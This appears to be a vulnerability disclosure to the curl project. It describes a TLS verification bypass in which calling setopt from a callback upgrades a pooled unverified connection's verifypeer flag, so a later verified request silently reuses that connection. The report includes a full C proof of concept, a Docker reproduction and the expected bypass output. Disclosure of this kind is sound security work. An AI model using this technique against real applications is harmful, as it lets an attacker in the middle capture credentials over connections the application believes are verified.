curl · Report #3831432
setopt(VERIFYPEER) from callback bypasses TLS verify on connection reuse
How it was found
Summary:
Curl_ssl_conn_config_update overwrites conn->ssl_config.verifypeer when curl_easy_setopt(CURLOPT_SSL_VERIFYPEER, ...) is called, with no handshake-state guard — only if(data->conn). Since setopt is documented as callable from callbacks (setopt.c:2930), an application can connect with verifypeer=0 (accepting a rogue cert), then flip to verifypeer=1 inside a write callback. The mutation rewrites the pooled connection's ssl_config.verifypeer from 0 to 1, so a subsequent verifypeer=1 request reuses the unverified TLS connection via match_ssl_primary_config (sees 1==1) without a new handshake. The application reads CURLINFO_SSL_VERIFYRESULT=0 (X509_V_OK, calloc default — never updated on reuse) and believes verification passed. A MITM with a rogue-signed cert captures the 2nd request's credentials.
Affected version
curl 8.21.1-DEV (x86_64-pc-linux-gnu) libcurl/8.21.1-DEV OpenSSL/3.5.6 zlib/1.3.1
Bug is in shared lib/vtls/vtls_config.c:406-423, not backend-specific. Reproduced on current master commit cfc7922377.
Steps To Reproduce:
#include <curl/curl.h>
#include <stdio.h>
static CURL *g;
static int up;
static size_t cb(char *p, size_t s, size_t n, void *u) {
if(!up++) curl_easy_setopt(g, CURLOPT_SSL_VERIFYPEER, 1L);
return s * n;
}
int main(void) {
curl_global_init(0);
CURLSH *sh = curl_share_init();
curl_share_setopt(sh, CURLSHOPT_SHARE, CURL_LOCK_DATA_CONNECT);
/* 1st: verifypeer=0, accept rogue cert, upgrade to 1 in callback */
CURL *a = curl_easy_init();
g = a;
curl_easy_setopt(a, CURLOPT_URL, "https://127.0.0.1:9443/1");
curl_easy_setopt(a, CURLOPT_CAINFO, "real_ca.crt");
curl_easy_setopt(a, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(a, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(a, CURLOPT_WRITEFUNCTION, cb);
curl_easy_setopt(a, CURLOPT_SHARE, sh);
curl_easy_setopt(a, CURLOPT_NOSIGNAL, 1L);
curl_easy_perform(a);
curl_easy_cleanup(a);
/* 2nd: verifypeer=1, should reject but reuses a's unverified conn */
CURL *b = curl_easy_init();
curl_easy_setopt(b, CURLOPT_URL, "https://127.0.0.1:9443/2");
curl_easy_setopt(b, CURLOPT_CAINFO, "real_ca.crt");
curl_easy_setopt(b, CURLOPT_SSL_VERIFYPEER, 1L);
curl_easy_setopt(b, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(b, CURLOPT_SHARE, sh);
curl_easy_setopt(b, CURLOPT_NOSIGNAL, 1L);
CURLcode rc = curl_easy_perform(b);
long vr = -1, nc = -1;
curl_easy_getinfo(b, CURLINFO_SSL_VERIFYRESULT, &vr);
curl_easy_getinfo(b, CURLINFO_NUM_CONNECTS, &nc);
printf("result=%d verify=%ld connects=%ld %s\n", rc, vr, nc,
(rc == 0 && nc == 0 && vr == 0) ? "BYPASS" : "no-bypass");
curl_easy_cleanup(b);
curl_share_cleanup(sh);
curl_global_cleanup();
return 0;
}
Self-contained Docker reproduction:
docker build -t f5-setopt .
docker run --rm f5-setopt
Expected output:
result=0 verify=0 connects=0 BYPASS
result=0— 2nd request succeeded over rogue-signed TLSverify=0— falseX509_V_OK(calloc default, never updated on reuse)connects=0— connection reused, no new handshake
The 0→1 upgrade is the only exploitable direction. Session cache is unaffected (ssl_peer_key_add_vrfy encodes :NO-VRFY-PEER at handshake time). CURLOPT_SSL_VERIFYHOST and CURLOPT_SSL_VERIFYSTATUS have the same bug (same Curl_ssl_conn_config_update call, same missing guard).
Impact
Summary:
A verifypeer=1 request silently reuses a TLS connection that was established without certificate chain verification. The application cannot detect this — CURLINFO_SSL_VERIFYRESULT returns X509_V_OK (calloc default, never updated on connection reuse), so it believes verification passed. If the reused connection was established to an attacker-controlled server (with verifypeer=0), subsequent requests' credentials and cookies flow over that connection while the application believes TLS is strictly verified.